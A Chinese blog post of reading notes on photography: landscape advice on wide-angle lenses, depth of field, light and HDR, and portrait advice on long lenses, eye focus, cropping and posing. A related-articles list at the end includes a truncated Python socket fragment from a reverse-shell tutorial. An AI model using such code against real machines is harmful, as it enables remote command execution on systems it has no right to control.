当前位置: 首页 > news >正文

摄影构图:人像摄影和风景摄影的一些建议

写在前面


  • 博文内容涉及摄影中人像摄影和风景摄影的简单介绍
  • 《高品质摄影全流程解析》 读书笔记整理
  • 理解不足小伙伴帮忙指正 😃 生活加油

不必太纠结于当下,也不必太忧虑未来,当你经历过一些事情的时候,眼前的风景已经和从前不一样了。——村上春树


风景摄影的一些建议

使用广角

对于很多风景摄影师来说,广角镜头(焦距在 35mm 左右或更短的镜头)是个常用工具。典型配置包括 24mm 的定焦镜头,以及焦距介于 16~35mm 的变焦镜头

让聚焦距离变深

作为一名人像摄影师,我绝大部分时间都会使用大光圈来让图像中的 背景虚焦

对于风景摄影来说,做法却正好相反,你通常要用更小的光圈增加景深,增大照片中的聚焦范围(从前到后)

不论是在光圈优先还是手动模式下,你都可以进行光圈设置

让景深最大化

你知道小光圈在照片最终的景深方面起着决定性作用,不过你可能不知道还有两个因素的作用也不可小觑,那就是焦距以及你与拍摄对象间的距离

短焦距可以增加景深,而长焦距则会减小景深。因此,即使把光圈都同样设置成 f/16,你用一个 24mm 的镜头肯定也会比用一个 50mm 的镜头能得到更深的聚焦范围(这也是另一个你要给自己的风景工具包增添广角镜头的原因)

将光圈、焦距、物距三者进行测算组合,可以帮助你找到对焦的“甜蜜点”,让照片的景深达到最高。这也就是常说的超焦点

如何确定焦点?

对于另外一些人来说,还有一种较简单的方法,那就是选择一个小光圈(把数值设高,像 f/16 或 f/22 这样),并且将相机焦点大概定在进入场景 1/3 深度的位置。这个办法之所以有效,是因为有物理学做支撑。不管你的最终景深总跨度到底是多少,也不管你到底将焦点精确定在哪里,景深总是会将总长度的 1/3 留在焦平面前面(即你的对焦点),另外 2/3 延伸至焦平面后边。

这样做显然不如实际计算过的精确,但作为一种说得过去的近似也未尝不可。为了在作品中达到最好的景深效果,大部分风景摄影师都会经常使用这条经验法则。

留意天空

随着太阳在天空中位置的改变,光的颜色会有所不同,因此在一天中的不同时刻拍摄风景会对最终效果产生很大影响。你可能是自己发现的这个现象,或者是听到别的摄影师在谈论“黄金时刻”,这个“黄金时刻”特指日落前一个小时左右,太阳发出的黄金般的光线看起来很神奇)

太阳登上地平线之前一个小时左右的光线,也就是白天开始之前的光线却是冷冷的、蓝蓝的。所以这一时刻被称为“蓝色时刻”也就不足为奇了。

注意地平线

从本质上来说,地平线在风景场景中也是一个拍摄对象。因此,它同样适用于三分法则。将地平线放置在顶部三分处就会强调下方的区域,使下方成为主要聚焦点(图 21.4)。相反,如果你想强调天空,那么就把地平线放置在画面底部三分处

高动态范围

HDR 是“高动态范围(High Dynamic Range)”的缩写,指的是在同一个画面中至少包含两种不同曝光–一种针对高光,一种针对阴影–的摄影技术。

为什么你想或者需要对照片进行高动态范围处理呢?

因为在一个高对比度场景中(就像许多风景那样),相机无法像人眼那样将场景中的所有亮度范围全部捕捉进去。也就是说,人眼可以同时看到高光区域和阴影区域中的细节,而相机不行。所以当给风景照设置曝光值时,你通常不得不在阴影优先还是高光优先中进行选择设置,二者不能同时进行。

HDR 摄影通过将不同曝光值拍摄的两张照片进行结合来解决此问题(后期处理软件中有该功能,如 Lightroom 或者 Photoshop),一张对高光进行正确曝光,另一张要能捕捉到阴影部分的细节,这样就能得到一张在很宽的亮调范围内都有丰富细节的最终照片。

把人像摄影当成风景摄影的反面

风景摄影一般都是用广角镜头和小光圈,而在进行人像摄影时,这两个主要因素却变成了长焦镜头大光圈

给人物拍照时,我们常常喜欢用焦距较长(50mm 或者更长)的镜头,因为这样更容易把人拍得好看(另外,使用长镜头意味着你和你的拍摄对象间要保持一定距离,这样你就可以更容易捕捉到拍摄对象的特写镜头,而不用通过讨论午餐吃什么来和他们拉近距离了)。

常见的人像拍摄镜头包括 50mm、85mm 的定焦镜头以及大概 70~200mm 的变焦镜头

真正理解选择不同的镜头和光圈会对最终照片带来什么影响

看看图 22.2 和图 22.3 就知道了,它们描述的是同一个场景,构图也相似,但拍出来的照片效果却截然不同。

一张更像是在拍摄风景,用的是广角镜头(16-35mm)小光圈(f/22)

另一张使用的是 70-200mm 镜头,光圈设置得很大(f/2.8)

区别是不是非常明显呢?

因为长焦镜头会压缩场景,所以当使用长焦镜头拍摄时,人物身后的树桩就显得非常近。镜头和光圈的选择对于最终照片的效果和感觉真的影响巨大,所以一定要谨慎考虑。

聚焦于眼睛

图 22.4 是用大光圈拍摄的,它印证了用大光圈对误差的宽容度是很低的。这张照片的光圈设置在 f/2,景深很浅,以至于当在拍摄对象的眼睛上聚焦时,他的耳朵(很明显就在眼睛后面不远处)已经快看不清了。因此,学会控制相机,将对焦点准确定位在眼睛上

谨慎取景,谨慎裁剪

不可能做到离得近的同时又让拍摄对象的整个身体都留在画面内,因此你不可避免地要将部分身体排除在画面之外。那么问题就来了,从哪里开始截断呢?

那就是避开关节部位。换句话说,就是千万不要正好在胳膊肘、手腕、膝盖和脚踝这些部位对人进行裁剪,这样做会让人感觉明显不舒服(图 23.1),应该要避免。

让拍摄对象放轻松

为了能够让拍摄对象进入状态,一开始先拍一些热身的废片会很有帮助。

一般来说,不会让我的拍摄对象摆很多之前计划好的姿势

如果他们真的不知道如何摆姿势,我会给他们设定一个情节,譬如“如果你正在等公交车,你会怎么坐在这里,摆出什么神情。

最后,要将反馈意见告诉你的拍摄对象。记住,你所看到的东西他们可看不到。他们可能会紧张、难为情,还会害怕自己看起来很傻。当拍摄对象做得好时,或者某个动作效果很棒时,你要告诉他们,这样你也会获益匪浅。

博文部分内容参考

© 文中涉及参考链接内容版权归原作者所有,如有侵权请告知 😃


《高品质摄影全流程解析》


© 2018-2024 liruilonger@gmail.com, All rights reserved. 保持署名-非商用-相同方式共享(CC BY-NC-SA 4.0)

相关文章:

摄影构图:人像摄影和风景摄影的一些建议

写在前面 博文内容涉及摄影中人像摄影和风景摄影的简单介绍《高品质摄影全流程解析》 读书笔记整理理解不足小伙伴帮忙指正 😃 生活加油 不必太纠结于当下,也不必太忧虑未来,当你经历过一些事情的时候,眼前的风景已经和从前不一样…...

安卓实现输入快递单号生成二维码,摄像头扫描快递单号生成的二维码,可以得到快递信息

背景: 1、实现二维码的生成和识别2、实现andriod(或虚拟机)部署,调用摄像头3、实现网络管理,包括数据库【取消】2、3可以组队实现,1必须单人实现 过程: 安卓APP主界面 输入快递单号信息&#…...

Mysql特殊用法分享

不存在则插入,存在则更新的2种写法 前置使用条件,必须有唯一索引 -- 1 REPLACE INTO REPLACE INTO typora.ip_view_times_record (ip, view_times, url) VALUES(10.25.130.64, 1, https://10.25.168.80/fhh/index.html?urlindex.md543);-- 2 ON DUPLI…...

一个开源的快速准确地将 PDF 转换为 markdown工具

大家好,今天给大家分享的是一个开源的快速准确地将 PDF 转换为 markdown工具。 Marker是一款功能强大的PDF转换工具,它能够将PDF文件快速、准确地转换为Markdown格式。这款工具特别适合处理书籍和科学论文,支持所有语言的转换,并…...

可通过小球进行旋转的十字光标(vtkResliceCursor)

前一段事件看到VTK的一个例子: 该案例是vtk.js写的,觉得很有意思,个人正好也要用到,于是萌生了用C修改VTK源码来实现该功能的想法。原本以为很简单,只需要修改一下vtkResliceCursor就可以了,加上小球&#…...

python遍历文件夹并计算某类文件的数量,制图像文件到目标文件夹

python遍历文件夹并计算某类文件的数量,制图像文件到目标文件夹 在Python中,你可以使用os和os.path模块来遍历文件夹(目录)。下面是一个简单的示例,展示了如何遍历一个文件夹中的所有文件和子文件夹: imp…...

网络层只懂路由?这9个知识点被严重低估了

号主:老杨丨11年资深网络工程师,更多网工提升干货,请关注公众号:网络工程师俱乐部 下午好,我的网工朋友。 网络层想必你已经耳熟能详,它的作用自然是不容小觑。 它负责将数据从源头准确地投递到目的地&am…...

最新的kali Linux源,解决apt update报错说没有数字签名

原因: 国内源的地址大部分都是http开头,这些地址早就无法使用。 解决方案: wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名 另外,需…...

RAG与Langchain简介

RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成(Retrieval-Augmented Generation),主要是通过从外部给大模型补充一些知识,相当于给模型外挂了一个知识库,让…...

绕过网页的阻止复制

绕过网页的阻止复制 一、问题的提出二、绕过技巧一三、绕过技巧二四、绕过技巧三五、总结说明 一、问题的提出 也是很久没有写文章了,今天突发奇想写一篇文章。首先你有没有被网页中的一些阻止你复制的页面所困扰。就是那种,你突然找到一篇文章&#xf…...

Jackson指定json的key

指定json的key ‍ ‍ 要在序列化JavaBean时指定JSON的key,可以使用JsonProperty​注解来指定JavaBean属性序列化到JSON时使用的key。以下是一个简单的示例: import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.da…...

谷歌发布Infini-Transformer模型—无限注意力机制长度,超越极限

Transformer 是一种基于自注意力机制的深度学习模型,最初应用于自然语言处理领域,现已扩展到图像、音频等多个领域。与传统的循环神经网络 (RNN) 不同,Transformer 不依赖于顺序数据处理,能够并行计算,从而显著提高效率…...

激光点云配准算法——Cofinet / GeoTransforme / MAC

激光点云配准算法——Cofinet / GeoTransformer / MAC GeoTransformer MAC是当前最SOTA的点云匹配算法,在之前我用总结过视觉特征匹配的相关算法 视觉SLAM总结——SuperPoint / SuperGlue 本篇博客对Cofinet、GeoTransformer、MAC三篇论文进行简单总结 1. Cofine…...

socket--cs--nc简单实现反弹shell

socket_client.py import socket#客户端: #连接服务段的地址和端口 #输入命令发送执行 #回显命令执行结果# ipinput(please input connect ip:) # portinput(please input connect port:)ssocket.socket() # IP and PORT s.connect((,9999)) while True:cmdlineinput(please i…...

CSS入门基础2

目录 1.标签类型 2.块元素 3.行内元素 4.行内块元素 5.标签行内转换 6.背景样式 1.标签类型 标签以什么方式进行显示,比如div 自己占一行, 比如span 一行可以放很多个HTML标签一般分为块标签和行内标签两种类型: 块元素行内元素。 2.块…...

Mac vscode could not import github.com/gin-gonic/gin

问题背景: 第一次导入一个go的项目就报红 问题分析: 其实就是之前没有下载和导入gin这个web框架包 gin是一个golang的微框架,封装比较优雅,API友好,源码注释比较明确。 问题解决: 依次输入以下命令。通…...

MySQL修改用户权限(宝塔)

在我们安装好的MySQL中,很可能对应某些操作时,不具备操作的权限,如下是解决这些问题的方法 我以宝塔创建数据库为例,创建完成后,以创建的用户名和密码登录 这里宝塔中容易发生问题的地方,登录不上去&#…...

论文阅读(一种新的稀疏PCA求解方式)Sparse PCA: A Geometric Approach

这是一篇来自JMLR的论文,论文主要关注稀疏主成分分析(Sparse PCA)的问题,提出了一种新颖的几何解法(GeoSPCA)。 该方法相比传统稀疏PCA的解法的优点:1)更容易找到全局最优&#xff…...

Chrome/Edge浏览器视频画中画可拉动进度条插件

目录 前言 一、Separate Window 忽略插件安装,直接使用 注意事项 插件缺点 1 .无置顶功能 2.保留原网页,但会刷新原网页 3.窗口不够美观 二、弹幕画中画播放器 三、失败的尝试 三、Potplayer播放器 总结 前言 平时看一些视频的时候&#xff…...

pg修炼之道学习笔记

一、数据库逻辑结构介绍 1、一个pg数据库服务下有多个db(多个数据库),当应用连接到一个数据库时,一般只能访问这个数据库中的数据,而不能访问其他数据库的内容(限制) 2、表索引:一…...

解决Modelsim SE 10.6c仿真Vivado 2019乘法器IP核的“.vhd only”难题(附完整脚本)

解决Modelsim SE 10.6c仿真Vivado 2019乘法器IP核的“.vhd only”难题(附完整脚本) 在FPGA设计流程中,Xilinx Vivado与Mentor Modelsim的组合是许多工程师的首选工具链。但当Vivado 2019生成的乘法器IP核仅提供VHDL接口文件(.vhd)时&#xff…...

【职业发展】程序员成长路径:从初级到架构师的进阶指南

【职业发展】程序员成长路径:从初级到架构师的进阶指南 引言 程序员的职业发展是一个持续学习和成长的过程。从初级程序员成长为技术架构师,需要经历多个阶段的积累和蜕变。本文将详细分析程序员成长的各个阶段,帮助你规划职业发展路径。 …...

避坑指南:LabVIEW做3D模型旋转动画时,90%的人会忽略的‘添加对象及引用’模式

LabVIEW 3D模型旋转动画深度解析:从"乱跑"到精准控制的进阶指南 在LabVIEW中创建3D模型旋转动画时,许多开发者都会遇到一个令人困惑的现象:明明只想让模型旋转,结果整个坐标系也跟着"翩翩起舞"。这种看似简单…...

AI编码助手如何重塑开发体验:从工具到伙伴的范式转变

1. 项目概述:当AI编码助手遇上“氛围感”最近在GitHub上看到一个挺有意思的项目,叫“awesome-ai-vibe-coding”。初看这个标题,可能会有点摸不着头脑。“Awesome”系列我们见多了,是各种优质资源的集合;“AI Coding”也…...

【网络安全】什么是漏洞扫描?有哪些功能?

【网络安全】什么是漏洞扫描?有哪些功能? 一、什么是漏洞扫描? 漏洞扫描是指基于CVE、CNVD、CNNVD 等漏洞数据库,通过专用工具扫描手段对指定的远程或者本地的网络设备、主机、数据库、操作系统、中间件、业务系统等进行脆弱性评估…...

SEAforth多核芯片在工业控制中的并行处理优势

1. SEAforth芯片架构解析:工业控制的并行革命在工业自动化领域,传统单核MCU正面临越来越严峻的性能瓶颈。我曾参与过一个大型石化厂的温度监测系统改造项目,原系统采用常规ARM处理器,当需要同时处理32路热电偶信号、4路压力传感器…...

别再只盯着密钥了!深入ESP32 eFuse,看懂flash加密背后的硬件安全逻辑

别再只盯着密钥了!深入ESP32 eFuse,看懂flash加密背后的硬件安全逻辑 当你在ESP32项目中使用flash加密功能时,是否曾疑惑过:为什么简单地烧录几个eFuse位就能实现固件保护?那些看似神秘的DISABLE_DL_DECRYPT、FLASH_CR…...

Python地理空间数据处理技能库geoskills:简化GIS分析,提升开发效率

1. 项目概述:一个面向地理空间数据处理的技能库最近在GitHub上闲逛,发现了一个挺有意思的项目,叫geoskills,来自一个叫Cognitic-Labs的组织。光看名字,geo和skills的组合,就让我这个常年和数据打交道的人眼…...

Claude技能生态构建指南:从Awesome清单到实战开发

1. 项目概述:为什么我们需要一个“Claude技能”的Awesome清单?如果你最近也在深度使用Claude,尤其是Claude Desktop或者API,你可能会和我有一样的感受:这家伙的能力边界,似乎每天都在被开发者们用各种“技能…...

告别臃肿!用Debootstrap从零打造一个极简Debian系统(保姆级分区+配置指南)

告别臃肿!用Debootstrap从零打造一个极简Debian系统(保姆级分区配置指南) 在资源有限的环境中,一个臃肿的操作系统往往会成为性能瓶颈。无论是老旧电脑、嵌入式设备还是轻量级服务器,系统冗余不仅占用宝贵的存储空间&a…...